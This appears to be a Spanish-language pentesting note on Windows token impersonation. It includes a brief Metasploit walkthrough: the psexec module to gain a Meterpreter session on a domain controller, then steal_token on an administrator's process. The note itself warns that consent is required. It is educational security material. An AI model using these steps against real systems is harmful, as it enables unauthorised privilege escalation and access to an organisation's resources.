🪙Token Impersonation

La token impersonation (o suplantación de token) es una técnica de ataque que se utiliza para obtener acceso no autorizado a recursos de sistema y aplicaciones en sistemas operativos Windows.

En un ataque de token impersonation, un atacante utiliza distintas herramientas para extraer el token de acceso de un usuario con permisos elevados en Windows. Una vez que el atacante tiene acceso al token de acceso, puede utilizar herramientas como Invoke-TokenManipulation para suplantar el token de acceso del usuario con permisos elevados y obtener acceso no autorizado a los recursos del sistema y aplicaciones que el usuario con permisos elevados estaría autorizado a utilizar.

Necesitamos saber las credenciales o un hash de un empleado

Nota: Este tipo de técnicas son muy invasivas, ya que vamos a conseguir credenciales y información sensible en una organización por lo que no podemos utilizar estas técnicas sin un consentimiento o aprobación por parte del objetivo

Con Metasploit

• Meter Kali en la misma red que el DC

msfconsole
use exploit/windows/smb/psexec
exploit

Esto nos abre una sesión de Meterpreter

ps 
# nos muestra todos los procesos abiertos
# Ver el proceso que está siendo ejecutado por un administrador

Proceso ejecutándose por un administrador

steal_token 7924

Ya tendríamos cargado el token de Administrador con permisos máximos y podríamos ejecutar acciones en su nombre